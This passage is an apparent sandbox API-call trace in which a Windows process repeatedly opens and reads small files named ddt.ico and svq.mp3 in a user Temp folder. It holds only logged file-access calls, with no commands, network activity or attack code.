cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.704] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.705] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.705] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.705] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.705] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.705] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.705] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.705] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.705] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.705] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.705] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.705] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.705] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.706] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.706] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.706] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.706] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.706] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.706] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.706] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.706] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.706] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.706] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.706] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.706] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.707] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.707] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.707] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.707] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.707] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.707] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.707] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.707] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.707] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.707] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.707] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.707] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.707] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.708] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.708] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.708] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.708] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.708] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.708] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.708] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.708] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.708] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.708] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.708] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.709] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.709] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.709] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.709] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.709] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.709] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.709] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.709] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.709] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.709] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.709] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.710] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.710] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.710] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.710] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.710] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.710] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.710] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.710] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.710] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.710] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.711] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.711] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.711] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.711] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.711] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.711] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.711] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.711] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.711] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.711] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.712] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.712] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.712] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.712] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.712] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.712] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.712] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.713] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.713] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.713] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.713] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.713] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.713] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.713] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.713] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.713] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.713] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.713] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.714] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.714] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.714] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.714] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.714] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.714] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.714] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.714] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.714] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: 